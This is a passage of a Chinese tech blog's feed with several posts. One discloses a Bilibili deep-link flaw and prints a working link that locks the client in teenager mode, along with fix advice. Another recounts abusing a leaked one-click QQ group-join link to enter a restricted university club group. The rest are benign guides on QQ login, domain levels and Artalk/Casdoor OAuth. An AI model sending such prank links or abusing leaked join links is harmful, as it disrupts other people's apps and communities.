戏中心的原因所在。<br>然后进行第二次URL解码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://a.app.qq.com/o/simple.jsp?pkgname=tv.danmaku.bili&amp;ckey=CK1474482145968&amp;android_schema=bilibili://game_center/home_wiki?message=嘿壳&amp;nextLink=bilibili://teenagers_mode/force_enter?bbid=94bdf782-a460-4356-8e32-143c047483db&amp;enter_type=13&amp;mode=teenager&amp;oid=2258947&amp;token=b66fa5b0519ecf6da307f28501036c2f&amp;name=bilibili-currency-link.normal.jump</span><br></pre></td></tr></table></figure><p>这次我们获得了关于它的全部真相。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bilibili://game_center/home_wiki?nextLink=bilibili://teenagers_mode/force_enter?mode=teenager</span><br></pre></td></tr></table></figure><p>这才是它的核心，其余的全是点缀用的垃圾参数，目的是混淆视听。以上是一个最小的测试用例，你可以直接复制它去浏览器跳转这个目标。你就会发现跟那个链接在QQ里的效果其实是一模一样的，只不过QQ的多了一层跳板而已。<br>当然，如果你把<code>mode=teenager</code>这个参数删了的话你就会发现根本就点不动了，那唯一一个按钮也点不动。整个界面没有一点能动的地方了。<br>还是和之前一样，只删参数：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116063069017686&bvid=BV1HMcJzkEXA&cid=36037332937&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div>至于为什么不直接用force_enter，是因为这个没办法对外深度链接，只能在客户端里跳才能唤起对应功能。但是如果我们再套一个对外的“跳转层”游戏中心的跳板就又可以利用攻击了。总之就这样，很简单。问题出在了他们没有对场景做检查和校验，让任意跳转都能触发这个硬控手段。为了防止黑客搞事，建议修复。<hr><p>修复建议：给“强制进入未成人模式”的相关深度链接加场景校验，不要让任何链接都能调用它。或者是如果业务不是必须用到深度链接的话可以考虑其他方式调用，这样别人就没辙了。一定要提高安全性，不然会 <del>成为漏勺</del> 引发网络隐患和安全风险。</p>]]>
    </content>
    <id>https://www.b23.kim/details/04007216d618.html</id>
    <link href="https://www.b23.kim/details/04007216d618.html"/>
    <published>2026-02-13T10:05:43.000Z</published>
    <summary>
      <![CDATA[<p>OK啊，今天给大家带来哔哩哔哩最新最热漏……bug。<br>其实也不算新了，早就有了。大概这个漏洞是我两年前左右挖出来的，只不过是没什么人知道和滥用。大概也就跟朋友互相开玩笑拿这玩意玩过而已。<br>那么我为什么要提起来呢？原因是<strong>都2026年了B站还没修这个]]>
    </summary>
    <title>B站船新漏勺，神秘小链接让客户端拒绝服务</title>
    <updated>2026-02-13T11:36:26.584Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="杂谈" scheme="https://www.b23.kim/categories/%E6%9D%82%E8%B0%88/"/>
    <content>
      <![CDATA[<p>网络安全这块。<br>最近的时候，我在某个嘿壳群闲聊。然后就有人发了个不知道从哪搞来的一键加群链接。我一看，这个链接之前我用朋友资质找腾讯申请过。只不过后面被朋友发的多了腾讯以非法滥用为由给我回收了。<br>刚好，那个群的名字是<code>打洲社-清华大学</code>。“清华大学”？一开始我估计又是哪个腾讯内邀的达人创建的名字拿来装B或者引流的吧。<br>于是我和其他嘿壳们一起去玩这个链接了，就这样不知不觉中开始传播了。任何人只需要在QQ里访问这个链接就会直接进群，甚至能直接无视“不允许任何人加群”限制（专用接口）</p><p><img src="https://i0.hdslb.com/bfs/mallup/mall/01/02/0102zxx3002w2wzyzz10w3122ww2003x.png" alt="链接一键加群能力"></p><p>直到今天……<br>有人在群里搞事，也不知道链接是传播到恶俗组织里了还是怎么。，总之部分聊天记录如下：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/11/zx/11zxyw01x13w3w2yx0zxzzzzyw00w000.png"></p><p>就这样互联网漏勺氛围持续了没多久，就有一位群员艾特了群管理：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/yw/2w/yw2w120013012wzyw23w0300zx10zy3y.png"><br>于是我就被踢了，同时他们打开了不允许任何人加群。但是这时候他们还没意识到事情的严重性……<br>原本到这里就应该结束了，可是最特么草台班子的时刻来了（你猜猜我们是怎么加的群）：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/w0/yy/w0yyzwzzw0w1yw3w3w2yx1x3132zx23x.png" alt="马奇诺防线"><br>没错，我又加回去了。实际上我加了那个群几乎没怎么看过，嘿壳群里聊天的时候他们提了下这个群的动向我才知道被踢的。<br>那我肯定好奇里面发生了什么啊，自然得进去看一下。<br>话虽如此，那个一键加群链接是没法无视踢黑(不再允许此人加群)的。在那种情况下你也没有办法踢黑，因为根本分不清到底是不是自己人全砍了那岂不是一种拒绝服务？</p><p>其实我这次进群只是为了吃瓜看乐子，没打算发言的。<br>可是这场面很难让我不忍住说两句：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/3w/w1/3ww1zyzw2x3x2wx2yy3ww1x33zx33z00.png"><br>“有黑客”可还行？笑死我了这句。<br>最后一句我可有话说了，作为曾经向腾讯申请成功过一键加群的人，我很清楚这加群链接只要是个QQ号都能点进去加群（被封的不知道，可能不行）。<br>什么？你问我他们这个严格身份验证的活动别人是怎么拿到的链接？别小瞧黑客，虽然我没玩过三角洲，没实机看究竟是怎么回事。反正你只要是在公网上，黑客们就会尝试给你翻个底朝天。说不准就是黑客在扒活动页面的时候抓出来的呢？当然现实可能并不是如此，这也只是我的一些推断。总之要靠验证的人去泄露那相比之下概率低多了。</p><p>这个群的管理在发现事情一发不可收拾的时候选择了禁言：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x1/yw/x1yww2w211x2w1yw2zyz3w11zxyxzwzx.png"><br>从这一刻开始，我才终于明白原来这真是清华大学里的群。终于啊，网上的假群见多了头一次见到真家伙。<br>然后那人骂的不是我，是另一个空白名字的人（我服了，空白名字的缺点体现出来了）</p><p>当然，过了一会他又解除全员禁言了：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/zy/3y/zy3y11x0w30112zyw22yw03w13w0w22y.png"><br>从那时起，这位管理彻底破防了。就这样一直禁言到我写到这个字的时候。确实，这种事换谁谁够，一堆捣乱的里面还不一定挑到几个自己人。<br>这也就是上面所有截图都是“全员禁言中”状态的原因了。<br>就这样，这件事到这里就告一段落了。如果后续有更新的话我会继续往下写。</p><hr><p>后续：又被踢了，同时那个一键加群链接不能用了（显示“没有更多群聊”）。还记得那个群开了“不允许任何人加入”吗？这样做还算修的彻底，外面没人能加群了，只能指定渠道加群。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x0/2x/x02x11yxw1x300112zzxx1yyyzyzyy2x.png" alt="被踢力（悲）"></p><p>就这样告一段落了</p><hr><p>后续的后续：链接又能用了，我是真服了。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x0/2y/x02y2x2wx3yw03x003x32w02x23yx313.png" alt="《这次应该是正常进的吧》"><br>你们知道有多搞笑吗，进群的那几个，有四个是我好友哈哈哈。<br>云梦泽、翅膀、仁济、kun<br>全都是《正常进的》</p><p>腾讯你到底在干什么啊喂，你这是要把我们都笑死吗？你是真的牛皮<br>原本我以为泄漏链接失效一下就解决了基本上（虽然也有隐患）但是原来链接停用一下然后再打开我是真没想到<br>不怕神一样的对手，就怕猪一样的队友</p><p>而且云梦泽那句 “是” 我是真的要笑死了，逻辑闭环了属于是<br>然后还有“哥你好，我回来了”，哈哈哈让我先笑会儿</p><p>对了，还记得那个Aoi是谁吗？就是我上面那些聊天记录里出场率很高的那位，和那个群管理员是一块的应该<br><img src="https://i0.hdslb.com/bfs/mallup/mall/yy/zz/yyzzywx113w2zyyz03113yx22yx311yy.png"></p><p>然后就变成这样了，又回归以前了<br>这下他们又要破防了估计，还好现在还没人大范围传播这个旧链接。以前传播的新消息又刷上去了所以没有很多人看到了。<br>如果有人传播，那么我都不敢想象能乱成啥样</p><p>那么那个管理员lzy_de1ight呢？在我说“链接怎么又能用了”的时候，他还是不愿意相信旧情况死灰复燃了。然后充满不确定性的说了句“这次应该是正常进的吧”，而不愿相信他一直以来所相信的平台是多么的不可靠。<br>没办法，我们的云梦泽只能满足他的“剧本”，说一句“是”来保证在群里的“正当性”。</p><p>这件事是越来越有意思了，真挺期待后续发展的。那我肯定是要持续更新最新进展的。<br>这波是腾讯一个操作，背刺了我们所有人</p><hr><p>其实一开始我就觉得腾讯这种设计本来就是要遭滥用一样，跟新式互联网病毒似的。之前都爆发过一阵子了，直到把权限回收并且设立严格门槛（需要是游戏公司并且有软著、已上架应用商店且实际可玩）才解决。<br>那时我就想，万一有人复制别人链接不也照样传播吗？现在抓个包又不麻烦，更何况还是HTTP包。这下好了，回旋镖打自己身上了。<br>所以设计就从一开始就是有问题的，加群这种涉及到数据写入的操作竟然用GET请求？？要我说在指定活动页面用POST来请求取一个只有一次有效且获取后不用的时候短时间过期销毁的一键加群链接那才符合网络安全的“最小必要原则”，况且还不会影响业务。<br>腾讯是机器人企业吗？</p>]]>
    </content>
    <id>https://www.b23.kim/details/a03830792218.html</id>
    <link href="https://www.b23.kim/details/a03830792218.html"/>
    <published>2026-02-11T15:33:04.000Z</published>
    <summary>
      <![CDATA[<p>网络安全这块。<br>最近的时候，我在某个嘿壳群闲聊。然后就有人发了个不知道从哪搞来的一键加群链接。我一看，这个链接之前我用朋友资质找腾讯申请过。只不过后面被朋友发的多了腾讯以非法滥用为由给我回收了。<br>刚好，那个群的名字是<code>打洲社-清华大学</code>。“]]>
    </summary>
    <title>什么？清华大学的某游戏社团的QQ群被黑客给嘿啦？！</title>
    <updated>2026-03-28T04:18:56.978Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="通用技术" scheme="https://www.b23.kim/categories/%E9%80%9A%E7%94%A8%E6%8A%80%E6%9C%AF/"/>
    <content>
      <![CDATA[<p>跟腾讯客服扯了两天，终于成功通过了QQ登录的接入权限。<br>同时我也算是把所有坑都踩了一遍，今天来一次讲清。</p><h1 id="注册开发者"><a href="#注册开发者" class="headerlink" title="注册开发者"></a>注册开发者</h1><p>首先去 <a href="https://q.qq.com/#/">https://q.qq.com/#/</a> 登录自己的QQ号，然后走注册流程。<br>注册完成后你就成为了QQ开放平台的开发者了，然后去新建一个小程序。新建小程序的时候里面也会让你提供开发者信息，提交完成后会进行人工审核。需要的信息比较多，有的甚至需要住址。好在申请一次后如果通过就不用管了。提审以后在互联会同步开发者信息，这样你就完成了注册这一步。</p><p>为什么不直接在互联注册？因为互联带到的是 <a href="https://open.tencent.com/">https://open.tencent.com/</a> 这个“腾讯开放平台”总入口，你也依然需要在“QQ开放平台”注册并验证开发者信息。<br>当然腾讯这个后台太多了，感觉有点杂。可能还有其他的办法能注册上，反正我是这样过来的。</p><h1 id="创建网站应用"><a href="#创建网站应用" class="headerlink" title="创建网站应用"></a>创建网站应用</h1><p>重点来了，当你完成开发者信息提交并审核通过以后，你就可以创建应用了。<br>当然应用资料的审核也是人工的，所以按照审核规范肯定是少不了坑点的。</p><p>基本信息：<br>你需要准备一个<strong>应用名称</strong>、<strong>应用图标</strong>和<strong>应用介绍</strong>。<br>应用名称是你希望以用户登录的时候在授权页看到的名字，当然因为我的域名就是我网站的名字所以这里我写的<code>b23.kim</code>。<br>应用图标本身是非必填的，早期不上传图标也能过审。现在虽然也不是必须上传，但是没有图标的应用已经不再能过审了。<br>应用介绍是个必填项，不在前端展示。仅仅只是给审核看的而已，但是我不确定未来会不会改。<br>调试QQ号一般不填，留空即可</p><p>平台信息：<br>你也需要准备<strong>网站地址</strong>、<strong>网站回调域</strong>、<strong>主办单位名称</strong>、<strong>网站地址备案号</strong>。<br>网站地址就是你要申请的网站的目标URL。审核的时候人工会去看这个地址里有没有放置明显的登录按钮，以及是否包含QQ登录。如果你填的网站首页地址的话如果审核找不到登录按钮是会打回的（审核看到登录按钮之前不会多点，按钮位置需要好找），对于博客而言首页一般是没有登录按钮的，这种情况下网站地址你填文章页有评论区登录的内页URL就行。这里我填的是 <a href="https://www.b23.kim/details/659d6747b273.html">https://www.b23.kim/details/659d6747b273.html</a> 某一带评论区的文章的链接（也就是所谓的“内页”）。<br>这个地址不仅仅是给审核看的，在登录的时候在验证页是作为应用名称点击跳转的链接使用的：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/w0/2z/w02z2z0302x003x0x1yw3z2xx2x33w01.png" alt="点击“应用名称”后跳转到“网站地址”"><br>审核过后如果不满意可以修改重新提交，就是需要再审一次而已。</p><p>网站回调域是在QQ登录完成后要回调的地址，如果多个就以英文<code>;</code>隔开。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/3x/yz/3xyzw23x3wx1ywyxzz3zzx01yzw200x0.png" alt="回调域相关"><br>这里回调域是作为一个白名单使用的，只有提交了的回调域才能被回调，有效防止盗用。</p><p>主办单位名称如果是企业就是企业名，如果是个人那就随便了。我这里写的是“个人主体”。如果是修改信息的话这一栏是“提供者”，务必注意。<br>网站地址备案号的坑最多，稍微错一点就会被打回。而最容易错的点就是格式问题了，需要精确到横杠后面那个数字。如果没有就会说“备案号不匹配”。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/02/x3/02x3zxx0w03xw0zyx03zzyzyzwyyzw3z.png" alt="备案号规范"></p><p>如果你能绕过这些坑的话那么恭喜你，不出意外的话只需要审核一次就能通过。一般两个工作日内就能出结果。</p><h1 id="接入"><a href="#接入" class="headerlink" title="接入"></a>接入</h1><p>QQ登录能干的事很多，具体见开发文档：<a href="https://wiki.connect.qq.com/oauth2-0%e7%ae%80%e4%bb%8b">https://wiki.connect.qq.com/oauth2-0%e7%ae%80%e4%bb%8b</a><br>有接口能获取用户的会员状态啥的，<del>基本上我也忘光了</del>。但是腾讯为了保护隐私，验证后拿到的基本上都是OpenID，没有QQ号。</p><p>本站的技术栈为Artalk + Casdoor组合使用，有关它们俩的教程如下<br>1.Artalk的部署：<a href="https://www.b23.kim/details/5250c3717631.html">https://www.b23.kim/details/5250c3717631.html</a> (目前似乎原作者已经不再维护)<br>2.Casdoor的搭建：<a href="https://www.b23.kim/details/808a9f471a72.html">https://www.b23.kim/details/808a9f471a72.html</a> (其实你可以直接在应用市场里面安装 小声bb)<br>3.强行兼容：<a href="https://www.b23.kim/details/ce4b38f27c8d.html">https://www.b23.kim/details/ce4b38f27c8d.html</a> （硬核清理Casdoor的石山）<br>如果你是其他场景或者技术栈不同的话以你那边和开发文档为准，以及QQ使用的是标准的OAuth2.0接口。</p><p>在Casdoor里面创建一个提供商，分类<strong>OAuth</strong>，类型<strong>QQ</strong>。<br>然后在客户端ID那里填写你的APP ID，在客户端ID那里填写你的APP Key即可。<br>最后别忘了在“应用”里面选上新建的提供商<br>（其实这一步你需要在提交审核之前就做，要不然他们看不到你的QQ登录按钮）</p><p>另外最好是在提交审核之前就配置好接口，防止审核点一下QQ登录的按钮发现你业务方没配置开发信息再因为这个打回。<br>在审核通过前，登录页应该是这样的：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/yw/w2/yww213zw3xyx002zzyw313zyyxzw2zw0.png" alt="未过审时无权限"><br>在配置开发信息前，登录页是这样的：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x1/2y/x12y0203100213zwx0zzyyx1w3x3zwx0.png" alt="别忘了填上开发信息"><br>这个是腾讯客服截图的，我这边会另外显示一个“给您造成的不便……”，只是当时我没截图而已。<br>当时问的时候他是这样说的：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/3w/x1/3wx13z1201zx11ywzx0203w03z3xzwx1.png" alt="腾讯客服：你APPID哪去了"></p>]]>
    </content>
    <id>https://www.b23.kim/details/c92f4b553173.html</id>
    <link href="https://www.b23.kim/details/c92f4b553173.html"/>
    <published>2026-02-06T14:48:47.000Z</published>
    <summary>
      <![CDATA[<p>跟腾讯客服扯了两天，终于成功通过了QQ登录的接入权限。<br>同时我也算是把所有坑都踩了一遍，今天来一次讲清。</p>
<h1 id="注册开发者"><a href="#注册开发者" class="headerlink" title="注册开发者"></a>注册开发者</h]]>
    </summary>
    <title>我是这样申请并接入QQ登录的</title>
    <updated>2026-02-06T16:09:25.199Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<p>很久以前，我看到一个评论区对域名的级数吵的不可开交。有人认为这是三级域名，也有人认为这是二级域名。双方各执一词，始终坚信自己是对的，而对方是错的（评论区吵架现状）。而原视频讲的是一个免费域名分发的好像是（具体我也忘了，我大概在三年前看到的那个视频）</p><p>因为突然想起来这个，所以我决定单独新开一篇文章来讲这个事。“三级域名”和“二级域名”到底应该如何区分。<br>实际上这个还真难分对错，因为参考系不同所以在不同的角度下有不同的答案。</p><p>举个例子，假如<code>lhy.b23.kim</code>这个域名（其实真的存在，我分发给我朋友用的）。<br>如果按“三级域名”的标准解读：<br>1.<code>kim</code><br>2.<code>b23</code><br>3.<code>lhy</code><br>正好，从后缀开始从右往左数，确实是三级。那么这个角度是相对于注册局而言的。ICANN管理顶级，把不同类型的顶级域分配给不同的注册局。然后由用户/企业挑选一个顶级来注册出新的一级，注册完成后在自己的域(例如<code>b23.kim</code>)下进一步管理子级的创建和分发使用。这是一种技术严谨的观察角度。<br>在顶部第一级的也被称为“顶级域名”，也就是一级域名。一级就是顶级，因为没有在它们之上的域了所以是顶级。（学新闻学的会把这里的“顶级”当形容词来用，比如<a href="https://www.bilibili.com/video/BV1pzNReYExQ/?spm_id_from=333.337.search-card.all.click&vd_source=4cb05483c9801a83ea56fac13822a157">BV1pzNReYExQ</a>）</p><p>然而实际上终端用户或企业根本就接触不到顶级部分，他们只能管理自己注册后的域(例如<code>b23.kim</code>就是自己注册后的域)以及其子级。所以按“使用者”的角度来的话……<br>那就是“二级域名”的标准解读：<br>1.<code>b23.kim</code><br>2.<code>lhy</code><br>自己所管理的b23.kim作为一整级，后面分发的都是它的二级域。这样的观察角度是基于自己<strong>实际所持有的域</strong>的再分发。</p><p>一般情况下，在使用领域下普遍采用“二级域名”的解读方式。原因还是自己分出来的二级，所以这样来看相对方便一些，尽管它技术层面并不标准。实际上也难分对错，只需要让别人能理解到自己说的是哪一级就行。技术领域说三级，应用领域说二级也并无不妥，只是大家都习惯了这样叫而已。</p><p>不过还有一种特殊的情况，那就是类似<code>.com.cn</code>和<code>.gov.cn</code>的情况。在注册后被分配的时候就已经是第三级的状态了。<br>比如某人注册了一个<code>b23.com.cn</code>域名，然后又分配了一个下级<code>lhy</code>。在技术上它是这样的：<br>1.<code>cn</code><br>2.<code>com</code><br>3.<code>b23</code><br>4.<code>lhy</code><br>那么它就是一个标准的四级域名。而对于<code>com.cn</code>来说，你不能把这一个整体看作顶级域名。它的顶级是<code>cn</code>，只不过向下又分配了一层<code>com</code>。同时<code>com.cn</code>这个二级域名被保留用作给人单独注册下级使用了而已。所以在注册后，<code>b23.com.cn</code>就已经是个三级域名了。因此这类又细化管理的域名是一种相对独特且特殊的存在，因为你无法注册类似<code>com.cn</code>或者<code>gov.cn</code>本身。<br>当然如果你按照实际控制权把<code>b23.com.cn</code>整体作为顶级，下级<code>lhy</code>作为二级的话也不是不可以，就像是上面那个“二级域名”解读的例子的道理是一样的。</p><p>或许我们可以并不一定纠结一个域名到底几级。有一个很通用的概念：子域名。你可以说lhy.b23.kim是b23.kim的子域名，也可以说abc.b23.com.cn是b23.com.cn的子域名……你可以以某一级为基准点，它的下一级叫做子级。就像是b23.kim是kim这个顶级派发出来的子域名一样。这也是DNS的定义方式，没有绝对的第几级，只有相对的父子关系。</p><p>对于DNS（域名系统）来说，理论上你能创建无限级域名。但是实际上它是有限长的，技术上二级域名(b23.kim的“b23”部分)的长度限制是1-63个字符(有些顶级域名可能有不一样的限制)，一个完整域名的总长度不应该超过253个字符。<br>例如可以这样：<br><code>a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.q.r.s.t.u.v.w.x.y.z.b23.kim</code><br>（这么长，整活必备啊）<br>其实已经有人这么整了哈哈：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=112994231193219&bvid=BV1vQWseUExm&cid=500001656022050&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=112972907152246&bvid=BV164e5enEhB&cid=500001652001652&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=112903030113289&bvid=BV1PaicetEcF&cid=500001638012657&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>域名解析填CNAME的时候，你会发现顶级后面还跟随了一个点。解释说是“表示根域”。在域名系统里，根其实是“root级”(我自己起的名字)。比如说b.b23.kim.这个，它从根开始算起就是：<br>1..<br>2.kim<br>3.b23<br>4.b<br>不过一般情况下没人会这样论级数，都是从顶级(例如com、xyz、kim)算起算第一级。这只是在域名系统里的概念。它在域名系统里面叫做<strong>完全限定域名</strong>，从根开始明确指向。因为根域对普通用户不可见，为了方便所以没人会这样数。</p>]]>
    </content>
    <id>https://www.b23.kim/details/659d6747b273.html</id>
    <link href="https://www.b23.kim/details/659d6747b273.html"/>
    <published>2026-02-04T06:41:29.000Z</published>
    <summary>
      <![CDATA[<p>很久以前，我看到一个评论区对域名的级数吵的不可开交。有人认为这是三级域名，也有人认为这是二级域名。双方各执一词，始终坚信自己是对的，而对方是错的（评论区吵架现状）。而原视频讲的是一个免费域名分发的好像是（具体我也忘了，我大概在三年前看到的那个视频）</p>
<p>因为突然想]]>
    </summary>
    <title>三级域名？二级域名？这些区别到底在哪，如何区分</title>
    <updated>2026-02-15T05:27:56.095Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="通用技术" scheme="https://www.b23.kim/categories/%E9%80%9A%E7%94%A8%E6%8A%80%E6%9C%AF/"/>
    <content>
      <![CDATA[<p>众所周知，Artalk支持标准的OAuth接口的社交登录方式。但是有些奇怪的SSO提供的接口可能不是标准的OAuth，甚至Artalk和提供SSO的软件都不支持修改自己读取的路径或写入的路径。（点名Casdoor）<br>灵感来源：<a href="https://blog.liushen.fun/posts/8624756e/">https://blog.liushen.fun/posts/8624756e/</a></p><h1 id="登录的一般过程"><a href="#登录的一般过程" class="headerlink" title="登录的一般过程"></a>登录的一般过程</h1><p>本文将以Casdoor作为例子，实际根据相关接口情况思路通用。<br>在此之前我们需要了解Artalk的OAuth是如何验证的：<br>第一步首先你点击了“登录”按钮，然后选择了OAuth登录方式。这时候Artalk会跳转<code>配置文件的Domain字段/authorize</code>（此时查询参数携带client_id、redirect_uri、response_type、scope、state字段）这个目标登录页面，交由目标OAuth服务(Casdoor)来给用户提供服务。然后你在这个登录页面选择了 <strong>使用Github登录</strong> ，跳转了Github官方的验证页。验证完成后会跳转到Github后台配置的回调<code>Casdoor后端域名/callback</code>交给Casdoor来验证和处理GitHub验证完成后的他们返回来的字段，Casdoor验证并处理完成后携带最终字段(Casdoor自己的授权码)重定向回由Artalk透传给Casdoor的redirect_uri(Artalk后端域名/api/v2/auth/auth0/callback)把授权码等材料递给Artalk，最终由Artalk调用 授权码换取Token(Casdoor后端域名/oauth/token) 和 获取用户身份信息(Casdoor后端域名/userinfo)接口后发布评论。（好长的流程）</p><p>简单来说就是这个流程：Artalk -&gt; Casdoor -&gt; Github -&gt; Casdoor -&gt; Artalk<br>对 <strong>Artalk</strong> 来说：它只认识 Casdoor，它以为 Casdoor 就是最终的账号系统。<br>对 <strong>GitHub</strong> 来说：它只认识 Casdoor，它不知道 Artalk 的存在。<br><strong>Casdoor</strong>：起到了“中间人”和“翻译官”的作用，把五花八门的登录方式（GitHub, 微信, QQ等）统一成标准接口提供给 Artalk。</p><h1 id="调用接口约定"><a href="#调用接口约定" class="headerlink" title="调用接口约定"></a>调用接口约定</h1><p>遗憾的是，Casdoor的很多接口都不是标准OAuth接口，而Artalk是严格按照标准OAuth的查询路径进行调用的。</p><p>以下是 <strong>标准OAuth</strong> 调用约定：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AUTH0_AUTHORIZE_URL = https://your-auth0-domain/authorize       # 用户跳转登录页面，获取授权码</span><br><span class="line">AUTH0_TOKEN_URL = https://your-auth0-domain/oauth/token         # 授权码换取 Token</span><br><span class="line">AUTH0_USERINFO_URL = https://your-auth0-domain/userinfo         # 获取用户基本信息</span><br></pre></td></tr></table></figure><p>对应路径：<br><code>/authorize</code>：用户跳转到的目标登录页面(GET-&gt;html)<br><code>/oauth/token</code>：提供商验证已完成后授权码换Token(POST-&gt;json)<br><code>/userinfo</code>：登录后的用户基本信息接口(GET-&gt;json)</p><p>而 <strong>Casdoor</strong> 呢？它的接口是这样的：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CASDOOR_AUTHORIZE_URL = https://your-casdoor-domain/login/oauth/authorize        # 用户跳转 Casdoor 登录页面</span><br><span class="line">CASDOOR_TOKEN_URL = https://your-casdoor-domain/api/login/oauth/access_token     # 授权码换取 Token</span><br><span class="line">CASDOOR_USERINFO_URL = https://your-casdoor-domain/api/userinfo                  # 获取用户基本信息</span><br></pre></td></tr></table></figure><p>对应路径：<br><code>/login/oauth/authorize</code>：用户跳转到的Casdoor登录页面(GET-&gt;html)<br><code>/api/login/oauth/access_token</code>：提供商验证已完成后授权码换Token(POST-&gt;json)<br><code>/api/userinfo</code>：登录后的用户基本信息接口(GET-&gt;json)<br>官方文档：<a href="https://www.casdoor.org/zh/docs/how-to-connect/oauth">https://www.casdoor.org/zh/docs/how-to-connect/oauth</a></p><p>对于Artalk默认行为，如果在回调被访问的时候连不到正确的Casdoor指定的授权码换Token这个接口的话，将会直接返回以下内容而无法继续：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;msg&quot;</span><span class="punctuation">:</span><span class="string">&quot;Field to complete user auth&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>相关日志内容（这个日志在artalk.log或者docker运行日志都能看到）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">2026/01/28 16:37:31.095 [31mERROR[0m [handler/auth_social_login.go:74] [SocialLogin] oauth2: cannot parse json: invalid character &#x27;&lt;&#x27; looking for beginning of value</span><br><span class="line">2026/01/28 16:37:31.095 [31mERROR[0m [handler/auth_social_login.go:75] Field to complete user auth &#123;&quot;id&quot;: &quot;a75c1925-613f-4ba1-9ec2-499a3dbd6b4d&quot;, &quot;path&quot;: &quot;/api/v2/auth/auth0/callback&quot;, &quot;method&quot;: &quot;GET&quot;, &quot;ip&quot;: &quot;不.给.你.看&quot;, &quot;remote_addr&quot;: &quot;223.109.0.243:9440&quot;, &quot;host&quot;: &quot;service.b23.kim&quot;, &quot;referer&quot;: &quot;&quot;, &quot;user_agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.140&quot;, &quot;status&quot;: 500&#125;</span><br><span class="line">2026/01/28 16:37:31.095 [31mERROR[0m [HTTP] 16:37:30 | 500 | 126.120052ms | 111.36.17.150 | GET | /api/v2/auth/auth0/callback | - | a75c1925-613f-4ba1-9ec2-499a3dbd6b4d</span><br></pre></td></tr></table></figure><p>这里的异常情况是Artalk按照标准OAuth接口去请求Casdoor后端，结果人家根本不是这个接口返回了404页面。最终Artalk拿不到期望的含有Token的json字符串导致异常。<br>如果是登录页面没做重定向的话因为Casdoor也没有那个路径，所有用户将直接被跳转到404页面而非期望的登录页面。</p><h1 id="解决方法"><a href="#解决方法" class="headerlink" title="解决方法"></a>解决方法</h1><p>我们需要做的是把<code>OAuth标准接口</code>映射到<code>Casdoor等非标准Oauth接口</code>上。<br><code>/authorize</code>  302重定向-&gt; <code>/login/oauth/authorize</code>（因为是跳转到登录页，保留查询参数直接跳到Casdoor的统一入口）<br><code>/oauth/token</code> URL重写-&gt; <code>/api/login/oauth/access_token</code>（因为这里是POST请求，只能路由映射）<br><code>/userinfo</code> 302重定向-&gt; <code>/api/userinfo</code>（这里我用302重定向没出问题，如果有问题的话试着也换成URL重写）<br>这个顺序千万不能反！<br>具体操作：<br>如果你是二进制安装包安装的Casdoor，你可以用Nginx来实现。<br>如果是Docker安装并且直接打到公网的话，套一个CDN并直接在CDN测配置回源重写或302重定向到一个新目标。</p><p>对于腾讯的EdgeOne：<br>域名 -&gt; 站点加速 -&gt; 规则引擎<br><img src="https://i0.hdslb.com/bfs/mallup/mall/yy/yw/yyyw013x3ww32wx0ywzw3yw1zxywzx00.png" alt="登录页跳转"><br><img src="https://i0.hdslb.com/bfs/mallup/mall/yy/2z/yy2zyzw1yxzxyxyw1203yz02w1113zyy.png" alt="授权码与Token"><br><img src="https://i0.hdslb.com/bfs/mallup/mall/03/w2/03w2zx102x11w31200w32yx0zw2wzw13.png" alt="用户信息"></p><p>Nginx的方法就由大佬们来科研下吧，我安装方式原因没办法演示了。毕竟是生产环境嘛。</p><h1 id="总结"><a href="#总结" class="headerlink" 